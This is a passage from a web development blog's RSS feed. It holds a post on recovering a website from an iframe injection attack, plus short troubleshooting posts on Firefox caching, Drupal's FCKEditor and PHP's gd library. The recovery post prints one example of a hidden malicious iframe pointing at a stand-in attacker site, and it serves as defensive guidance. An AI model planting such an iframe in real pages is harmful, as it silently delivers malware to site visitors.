			<content:encoded><![CDATA[<p>IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks.   If you have recently got an iframe attack to your website, do not panic.  Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.  </p>
<p><code>&lt;iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"&gt;&lt;/iframe&gt;</code><br />
<em>An example of a malicious IFRAME injection code</em></p>
<p><strong>1.  Take your website down for a certain period </strong><br />
It is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors.  The website should be offline while you are recovering the site. </p>
<p><strong>2. Change all the passwords</strong><br />
Although this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered.   You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.  </p>
<p><strong>3. Take a copy of the affected website for further analysis </strong><br />
You may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future.   Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference.  Note that it is not advisable to keep the affected files on the server.   </p>
<p><strong>4. Replace the entire site with a clean backup copy</strong><br />
Do not rely on your hosting provider for a backup copy of your site.   Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.  Scan your backup copy with Anti-Virus software like <a href="http://eisabainyo.net/view/zonealarm" target="_blank">ZoneAlarm</a> or <a href="http://eisabainyo.net/view/trendmicro" target="_blank">Trend Micro</a> <small>(use cupon code <strong>trendpro</strong> to get 10% Off Trend Micro Internet Security Pro 2010)</small> before uploading to the web server to ensure that the backup copy is free from viruses and Trojan horses. </p>
<p><strong>5. Test the website and reopen </strong><br />
This is to make sure that the website is reverted to its clean, original version.  Once you are happy with the result, you can reopen the website to the public.</p>
<p><strong>6. Analyse how the attack was originated</strong><br />
In order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated.  Was it because of a security hole in your application?  Was it caused by a weak file permission?  Or is your server affected with some virus that injects these code into your website at regular interval?    You will need to understand how it happens in order to prevent it in the future.  And when necessary, obtain an expert advice.    </p>
<p><strong>7. Perform appropriate security measures based on the analysis</strong><br />
Although you may have recovered your website, it does not mean your website will not be attacked again.   If the same security hole still exists, it is probably very likely that the website will be attacked again in the near future.  Therefore, it is recommended that you perform necessary security measures, be it hardening your web server, upgrading an application, or introducing new security restrictions.    </p>
<p><strong>My experience and advice</strong></p>
<p>I have encountered and recovered quite a few websites that had been attacked by malicious iframe exploit in the recent years.  And the common causes seem to be as follows:</p>
<ul>
<li>The website is hosted on a cheap web hosting service</li>
<li>The website is using an old version of an open source application (eg:  WordPress 1.0) which has known security issues</li>
<li> File permissions on the server are not set accordingly (eg: every file and folder on the server is set to 777 &#8211; read-write-execute)</li>
<li>Weakness in an application code.  For example, there is not sufficient input validation.  </li>
<li>FTP rather than SFTP is used </li>
<li>There is no IP restriction for SSH and FTP accounts</li>
</ul>
<p>There are a few simple things that can be done to reduce the risk of your website being attacked. </p>
<ul>
<li>Change your passwords periodically (say, at least once a month)</li>
<li>Keep your applications up-to-date.  Always upgrade immediately when a new version is available.  </li>
<li>Clean up files and directories on the web server.  Make sure there is no old file with .bak or .txt extensions lying around </li>
<li>Ensure that appropriate file permissions are used for every file and directory on the web server </li>
<li>Consult with a security expert to obtain the best advice</li>
</ul>
<p>Read <a href="http://eisabainyo.net/weblog/2009/04/06/iframe-injection-attack/">Troubleshooting an IFrame Injection Attack</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/05/22/how-to-prevent-sql-injection/" rel="bookmark" title="May 22, 2007">How to prevent SQL injection?</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/18/sql-injection-demo/" rel="bookmark" title="May 18, 2007">SQL Injection Demo</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/16/top-25-most-dangerous-programming-errors/" rel="bookmark" title="January 16, 2009">Top 25 Most Dangerous Programming Errors</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/12/08/google-custom-search/" rel="bookmark" title="December 8, 2007">Google custom search engine</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/30/display-a-download-dialog-for-pdf-in-php/" rel="bookmark" title="June 30, 2009">Display a download dialog for pdf in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/02/23/25-most-dangerous-programming-errors/" rel="bookmark" title="February 23, 2010">25 Most Dangerous Programming Errors</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/05/10/how-to-customise-wordpress-admin-login-page/" rel="bookmark" title="May 10, 2010">How to customise WordPress Admin Login page</a></li>
</ul><!-- Similar Posts took 26.638 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2009/04/06/iframe-injection-attack/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Firefox browser cache setting</title>
		<link>http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/</link>
		<comments>http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 23:18:57 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/</guid>
		<description><![CDATA[
If you&#8217;re finding that your Firefox browser is not caching any images (css/javascripts) and loading them multiple times on the same page, check the following cache settings of Firefox by typing in about:config in the browser&#8217;s address bar.  
Both browser.cache.disk.enable and browser.cache.memory.enable values should be set to true in order to enable browser caching [...]<p>Read <a href="http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/">Firefox browser cache setting</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/03/03/disable-blink-in-firefox/" rel="bookmark" title="March 3, 2007">Disable BLINK in Firefox</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/03/tpg-proxy-problem/" rel="bookmark" title="June 3, 2008">TPG Internet proxy problem</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/09/01/10-useful-jquery-snippets/" rel="bookmark" title="September 1, 2010">10 Useful jQuery Snippets</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/07/fatal-error-allowed-memory-size-of-bytes-exhausted-in-php/" rel="bookmark" title="June 7, 2008">Fatal error: Allowed memory size of * bytes exhausted in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/09/03/google-chrome-browser/" rel="bookmark" title="September 3, 2008">Google Chrome Browser</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/03/yahoo-browser-im-just-released/" rel="bookmark" title="May 3, 2007">Yahoo! Browser IM &#8211; just released</a></li>
</ul><!-- Similar Posts took 40.052 ms --></div>]]></description>
			<content:encoded><![CDATA[<p><img src='http://eisabainyo.net/weblog/wp-content/uploads/2009/02/firefox-browser-cache.gif' alt='Firefox browser cache setting' /></p>
<p>If you&#8217;re finding that your Firefox browser is not caching any images (css/javascripts) and loading them multiple times on the same page, check the following cache settings of Firefox by typing in <code>about:config</code> in the browser&#8217;s address bar.  </p>
<p>Both <code>browser.cache.disk.enable</code> and <code>browser.cache.memory.enable</code> values should be set to <code>true</code> in order to enable browser caching in Firefox.  You can double-click on the name to toggle the value between true and false.</p>
<p>Read <a href="http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/">Firefox browser cache setting</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/03/03/disable-blink-in-firefox/" rel="bookmark" title="March 3, 2007">Disable BLINK in Firefox</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/03/tpg-proxy-problem/" rel="bookmark" title="June 3, 2008">TPG Internet proxy problem</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/09/01/10-useful-jquery-snippets/" rel="bookmark" title="September 1, 2010">10 Useful jQuery Snippets</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/07/fatal-error-allowed-memory-size-of-bytes-exhausted-in-php/" rel="bookmark" title="June 7, 2008">Fatal error: Allowed memory size of * bytes exhausted in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/09/03/google-chrome-browser/" rel="bookmark" title="September 3, 2008">Google Chrome Browser</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/03/yahoo-browser-im-just-released/" rel="bookmark" title="May 3, 2007">Yahoo! Browser IM &#8211; just released</a></li>
</ul><!-- Similar Posts took 7.957 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2009/02/27/firefox-browser-cache-setting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Removing background image from FCKEditor in Drupal</title>
		<link>http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/</link>
		<comments>http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/#comments</comments>
		<pubDate>Thu, 25 Dec 2008 12:28:04 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/</guid>
		<description><![CDATA[By default, FCKEditor textarea uses the same background image as your theme in Drupal.  To remove the background image from the FCKEditor use default black text on white background so that it is easy to read/write inside the editable area, go to Edit FCKeditor profile (do this for all the profiles that you wish [...]<p>Read <a href="http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/">Removing background image from FCKEditor in Drupal</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2008/07/20/my-experience-with-drupal/" rel="bookmark" title="July 20, 2008">My experience with Drupal</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/07/my-list-of-essential-drupal-modules/" rel="bookmark" title="January 7, 2009">My list of essential Drupal modules</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/12/26/drupal-tutorials-for-content-editors-and-producers/" rel="bookmark" title="December 26, 2008">Drupal Tutorials for Content Editors and Producers</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/07/31/12-ways-to-turn-your-web-10-site-into-a-web-20-site/" rel="bookmark" title="July 31, 2007">12 ways to turn your Web 1.0 site into a Web 2.0 site</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/04/22/align-an-image-in-center-and-middle-using-css/" rel="bookmark" title="April 22, 2010">Align an image in center and middle using CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/25/how-to-display-a-different-header-image-for-different-pages-in-wordpress/" rel="bookmark" title="June 25, 2009">How to display a different header image for different pages in WordPress</a></li>
</ul><!-- Similar Posts took 84.696 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>By default, FCKEditor textarea uses the same background image as your theme in Drupal.  To remove the background image from the FCKEditor use default black text on white background so that it is easy to read/write inside the editable area, go to Edit FCKeditor profile (do this for all the profiles that you wish to change), <strong>Home › Administer › Site configuration › FCKeditor settings </strong> and under <strong>Editor CSS</strong> section, choose <strong>FckEditor default</strong>.</p>
<p>Screenshot below:<br />
<img src='http://eisabainyo.net/weblog/wp-content/uploads/2008/12/fckeditor-css.gif' alt='FCKEditor CSS' width='500' /></p>
<p>Technorati Tags: <a href="http://technorati.com/tag/drupal" rel="tag">drupal</a>, <a href="http://technorati.com/tag/fckeditor" rel="tag"> fckeditor</a>, <a href="http://technorati.com/tag/css" rel="tag"> css</a></p>
<p>Read <a href="http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/">Removing background image from FCKEditor in Drupal</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2008/07/20/my-experience-with-drupal/" rel="bookmark" title="July 20, 2008">My experience with Drupal</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/07/my-list-of-essential-drupal-modules/" rel="bookmark" title="January 7, 2009">My list of essential Drupal modules</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/12/26/drupal-tutorials-for-content-editors-and-producers/" rel="bookmark" title="December 26, 2008">Drupal Tutorials for Content Editors and Producers</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/07/31/12-ways-to-turn-your-web-10-site-into-a-web-20-site/" rel="bookmark" title="July 31, 2007">12 ways to turn your Web 1.0 site into a Web 2.0 site</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/04/22/align-an-image-in-center-and-middle-using-css/" rel="bookmark" title="April 22, 2010">Align an image in center and middle using CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/25/how-to-display-a-different-header-image-for-different-pages-in-wordpress/" rel="bookmark" title="June 25, 2009">How to display a different header image for different pages in WordPress</a></li>
</ul><!-- Similar Posts took 16.499 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2008/12/25/removing-background-image-from-fckeditor-in-drupal/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Links Love Series 2: MySQL server fine tuning and administrating</title>
		<link>http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/</link>
		<comments>http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 06:47:14 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[WWW]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/</guid>
		<description><![CDATA[MySQL, Linux, and Thread Caching
Dealing with MySQL Too Many Connections error 
The MySQL Server :: Status Variables
Tuning System Variables (MySQL)
Administrating a MySQL server
Technorati Tags: web,   links,   www,   websites,  mysql,  database,  fine tuning,  server performance
<p>Read <a href="http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/">Links Love Series 2: MySQL server fine tuning and administrating</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/05/18/15-tips-on-optimising-mysql-databases-and-mysql-queries/" rel="bookmark" title="May 18, 2007">15 tips on optimising MySQL databases and MySQL queries</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/12/22/links-love-series-3-web-server-administration-unixlinux/" rel="bookmark" title="December 22, 2008">Links Love Series 3: Web server administration (Unix/Linux)</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/09/18/backuping-and-restoring-a-single-table-using-mysqldump/" rel="bookmark" title="September 18, 2008">Backuping and restoring a single table using mysqldump</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/01/19/sun-acquired-mysql-for-1-billion/" rel="bookmark" title="January 19, 2008">Sun acquired MySQL for $1 billion</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/15/connecting-to-mysql-from-command-line-eg-putty-shh/" rel="bookmark" title="May 15, 2007">Connecting to mysql from command line (eg: PuTTY, ssh)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/10/5-interesting-reads-of-the-week-5/" rel="bookmark" title="June 10, 2007">5 interesting reads of the week</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/07/utf-8-encoding-problem-with-mysql-restore/" rel="bookmark" title="June 7, 2008">Utf-8 encoding problem with MySQL restore</a></li>
</ul><!-- Similar Posts took 50.382 ms --></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://jeremy.zawodny.com/blog/archives/000173.html">MySQL, Linux, and Thread Caching</a></p>
<p><a href="http://www.thoughtlabs.com/blogs/2008/02/18/dealing-with-mysql-too-many-connections-error/">Dealing with MySQL Too Many Connections error </a></p>
<p><a href="http://dev.mysql.com/doc/refman/5.0/en/server-status-variables.html">The MySQL Server :: Status Variables</a></p>
<p><a href="http://www.hashmysql.org/index.php?title=Tuning_System_Variables">Tuning System Variables (MySQL)</a></p>
<p><a href="http://www-css.fnal.gov/dsg/external/freeware/mysqlAdmin.html">Administrating a MySQL server</a></p>
<p>Technorati Tags: <a href="http://technorati.com/tag/web" rel="tag">web</a>, <a href="http://technorati.com/tag/links" rel="tag">  links</a>, <a href="http://technorati.com/tag/www" rel="tag">  www</a>, <a href="http://technorati.com/tag/websites" rel="tag">  websites</a>, <a href="http://technorati.com/tag/mysql" rel="tag"> mysql</a>, <a href="http://technorati.com/tag/database" rel="tag"> database</a>, <a href="http://technorati.com/tag/fine+tuning" rel="tag"> fine tuning</a>, <a href="http://technorati.com/tag/server+performance" rel="tag"> server performance</a></p>
<p>Read <a href="http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/">Links Love Series 2: MySQL server fine tuning and administrating</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/05/18/15-tips-on-optimising-mysql-databases-and-mysql-queries/" rel="bookmark" title="May 18, 2007">15 tips on optimising MySQL databases and MySQL queries</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/12/22/links-love-series-3-web-server-administration-unixlinux/" rel="bookmark" title="December 22, 2008">Links Love Series 3: Web server administration (Unix/Linux)</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/09/18/backuping-and-restoring-a-single-table-using-mysqldump/" rel="bookmark" title="September 18, 2008">Backuping and restoring a single table using mysqldump</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/01/19/sun-acquired-mysql-for-1-billion/" rel="bookmark" title="January 19, 2008">Sun acquired MySQL for $1 billion</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/15/connecting-to-mysql-from-command-line-eg-putty-shh/" rel="bookmark" title="May 15, 2007">Connecting to mysql from command line (eg: PuTTY, ssh)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/10/5-interesting-reads-of-the-week-5/" rel="bookmark" title="June 10, 2007">5 interesting reads of the week</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/06/07/utf-8-encoding-problem-with-mysql-restore/" rel="bookmark" title="June 7, 2008">Utf-8 encoding problem with MySQL restore</a></li>
</ul><!-- Similar Posts took 6.802 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2008/11/07/links-love-series-2-mysql-server-fine-tuning-and-administrating/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enabling gd image library in PHP (Windows)</title>
		<link>http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/</link>
		<comments>http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 00:26:19 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/</guid>
		<description><![CDATA[1. Uncomment the following line in php.ini.  php.ini file is located in the main directory of your PHP installation, for example: C:\PHP\php.ini.
;extension=php_gd2.dll
2.  Make sure you have php_gd2.dll file in the extensions directory.  The extension directory of my PHP installation is C:\PHP\ext.   Look for the directive &#8220;extension_dir&#8221; in php.ini file to [...]<p>Read <a href="http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/">Enabling gd image library in PHP (Windows)</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/08/19/removing-file-extension-via-htaccess/" rel="bookmark" title="August 19, 2007">Removing file extension via .htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/08/24/ez-publish-extensions-for-flickr-and-youtube-download/" rel="bookmark" title="August 24, 2007">eZ Publish extensions for Flickr and YouTube &#8211; Download</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/07/20/my-experience-with-drupal/" rel="bookmark" title="July 20, 2008">My experience with Drupal</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/01/02/the-easiest-method-to-blocking-websites/" rel="bookmark" title="January 2, 2008">The easiest method to blocking websites</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/12/safari-on-windows/" rel="bookmark" title="June 12, 2007">Safari on Windows</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/07/05/www-vs-non-www-301-redirect/" rel="bookmark" title="July 5, 2007">www vs. non-www 301 redirect</a></li>
</ul><!-- Similar Posts took 29.381 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>1. Uncomment the following line in php.ini.  php.ini file is located in the main directory of your PHP installation, for example: C:\PHP\php.ini.</p>
<p><code>;extension=php_gd2.dll</code></p>
<p>2.  Make sure you have php_gd2.dll file in the extensions directory.  The extension directory of my PHP installation is C:\PHP\ext.   Look for the directive &#8220;extension_dir&#8221; in php.ini file to get the exact location of your extensions directory.  </p>
<p>3.  Run php.exe from your PHP installation directory.  </p>
<p>3.1.  If you don&#8217;t have the dll file, you will have a similiar error message as below:</p>
<p><code>Unknown(): Unable to load dynamic library 'C:\PHP\ext\php_gd2.dll' - The specified module could not be found.</code></p>
<p>Download the appropriate Windows Binaries from the <a href="http://www.php.net/downloads.php">Official PHP Website Downloads</a> page and copy the required extension into your php extension directory.  </p>
<p>4.  Restart Apache server.</p>
<p>Technorati Tags: <a href="http://technorati.com/tag/troubleshooting" rel="tag">troubleshooting</a>, <a href="http://technorati.com/tag/gd+library" rel="tag"> gd library</a>, <a href="http://technorati.com/tag/php" rel="tag"> php</a>, <a href="http://technorati.com/tag/configuration" rel="tag"> configuration</a>, <a href="http://technorati.com/tag/apache" rel="tag"> apache</a></p>
<p>Read <a href="http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/">Enabling gd image library in PHP (Windows)</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/08/19/removing-file-extension-via-htaccess/" rel="bookmark" title="August 19, 2007">Removing file extension via .htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/08/24/ez-publish-extensions-for-flickr-and-youtube-download/" rel="bookmark" title="August 24, 2007">eZ Publish extensions for Flickr and YouTube &#8211; Download</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/22/step-by-step-instructions-on-how-to-set-up-a-virtual-pc-and-install-ie6-or-ie7-ie8/" rel="bookmark" title="January 22, 2009">Step-by-step instructions on how to set up a Virtual PC and install IE6 (or IE7, IE8)</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/07/20/my-experience-with-drupal/" rel="bookmark" title="July 20, 2008">My experience with Drupal</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/01/02/the-easiest-method-to-blocking-websites/" rel="bookmark" title="January 2, 2008">The easiest method to blocking websites</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/12/safari-on-windows/" rel="bookmark" title="June 12, 2007">Safari on Windows</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/07/05/www-vs-non-www-301-redirect/" rel="bookmark" title="July 5, 2007">www vs. non-www 301 redirect</a></li>
</ul><!-- Similar Posts took 8.947 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

